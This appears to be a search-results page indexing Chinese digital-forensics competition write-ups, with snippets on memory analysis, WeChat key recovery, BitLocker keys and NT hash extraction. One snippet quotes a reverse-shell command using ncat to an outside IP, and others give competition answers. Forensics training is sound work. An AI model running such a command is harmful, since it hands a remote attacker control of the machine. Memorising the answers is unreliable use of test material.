全站搜索

2026平航杯 内存取证题解析

平航杯

命中正文 ...10 64-bit (10.0.19041)，主机名 DESKTOP-3943OKD，采集时间 2026-04-03 01:47:46 工具链：Volatility3（内存分析）、sqlcipher3（微信数据库解密）、Python mmap + 正则搜索（内存密钥提取） 验证策略：L1（单证据源）/ L2...

第三届 “聚合獬豸杯” 全国电子数据取证大赛【全解】

獬豸杯

命中正文 ...tility3\vol.py" -f "Z:\检材6\HACKER-20260606-174920.dmp" @args } function vol2 { & "H:\Forensics\Lovelymem_20260312\Tools\python27\python27.exe" "H:\F...

2026平航杯内存取证（StarMem）

平航杯

2026盘古石杯线下计算机

2026盘古石杯线下

命中正文 ...2-22:56:27 lovelymem中：Current Time: 2026-04-22 14:56:27 UTC 需要转化成注意格式（（ vol2 验证下，win11好像不能用 vol2 跑了，不过这里就看一个内存镜像，能用就行 volatility.exe -f E:\ExportFil...

2026盘古石预赛 计算机取证题解析

盘古石杯

命中正文 ...证等级：L1 解题思路： 用户刘洋(RID=1002)的NT哈希值为 876dfe7bd78730b7b0baaf451414de8e 来源: Volatility3 windows.hashdump.Hashdump 从内存镜像提取 与E01 secretsdump提取结果一致，双源交叉验证 证据: CM...

第四届黄河流域公安院校电子物证个人赛计算机取证

2026第四届黄河流域公安院校电子物证个人赛

命中正文 ...(ewfinfo/icat)、python-evtx、secretsdump.py、hashcat-win v7.1.2、pykeepass、Volatility3、ida、strings、stat | | 运行环境 | WSL (Windows Subsystem for Linux) + 远程Wind...

2026 第三届聚合"獬豸杯" (write up)

第三届 “聚合獬豸杯” 全国电子数据取证大赛

命中正文 ...-FLAG】 过滤10.10.10.1，看 Telnet 协议 Telnet 协议以明文传输所有数据，是 1983 年的老协议，不重视网络安全 内存取证 1.该勒索进程的进程标识号（PID）是多少？【按实际值填写】 ransom(勒索)8804 2.受害计算机的主机名（COMPUTERNAME）...

2026 第四届"盘古石杯" 晋级赛 全解(write up)

盘古石杯

命中正文 ...6302245 23. 分析刘洋ly-memdump.mem镜像，给出用户刘洋的NT哈希值？[答案格式：数字字母组合，字母小写] 方法一:美亚的内存分析工具 876dfe7bd78730b7b0baaf451414de8e 部分工具（如 pwdump / SAMInside 离线解析）对 GBK...

2024美亚杯个人赛

美亚杯

命中正文 ...确实是三次失败 这边直接看看 所以失败的原因是手续费不足 选D 内存取证 内存取证我们去用lovelymem做，老好用了 59. 你根据易失性(Volatility Level)优先次序，进行内存取证分析David的笔记本电脑。参考RAM_Capture_David_Laptop.RAW，以下哪一个不是程序...

2026平航杯wp

平航杯

命中正文 ...PC内存镜像，识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的进程标识符（PID）？【答案格式：1234】 10892 用火眼内存分析可以看到 68. 【填空题】请分析倩倩的PC内存镜像，请尝试解密微信数据库并写出message_0.db对应的微信密钥?【答案格式：60e248...

四川省大学生数据采集与分析大赛（取证赛道）初赛

四川省大学生数据采集与分析大赛（取证赛道）

命中正文 ...实际结果填写 【填空题】 找出火狐浏览器进程的退出时间为？ 格式：1970-01-01 00:00:00 UTF+08:00 【填空题】 找出该内存镜像生成时，跟随系统启动的启动项程序有几个？ 格式：1234 【填空题】 找出15172614566是谁的手机号？ 格式：张三 【填空题】 找出该内...

2026盘古石初赛wp（计算机+服务器）

盘古石杯

命中正文 ...0.分析刘洋liuyang_pc.E01检材，请给出计算机内Bitlocker加密分区恢复密钥的前6位？[答案格式:6位数字] 560615 有内存镜像，那就可以直接拿内存镜像爆破Bitlocker密码了（efdd会快很多，但是我没有破解版） 得到密码 560615-577522-342881-...

2025平航杯【新手入坑&手搓版】

2025平航杯

命中正文 0x00 前言 题目给出的附件是一个无扩展名的大文件，因此一开始不能直接默认它是磁盘镜像、压缩包或者内存镜像。正确做法是先根据文件大小、文件头、文件尾这些最基础的信息判断载体类型，再决定后续用什么工具 1. 先看文件基础信息 powershell $f = "平航杯题目" Get-Item $f...

2026平航杯

平航杯

命中正文 ...0.1 22 -i hello】 ncat.exe 156.238.239.253 1314 -e powershell 67.请分析倩倩的PC内存镜像，识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的进程标识符（PID）？【答案格式：1234】 也是氪上金了 https://...

2026盘古石计算机部分

盘古石杯

命中正文 ...？[答案格式:6位数字] 560615-577522-342881-216865-242561-312356-584837-421597 这里拿内存镜像爆破Bitlocker密码  得到密码 560615-577522-342881-216865-242561-312356-584837-...

2026獬豸杯WP（全解）

獬豸杯

2026獬豸杯

2026獬豸杯

2025数证杯初赛WP

数证杯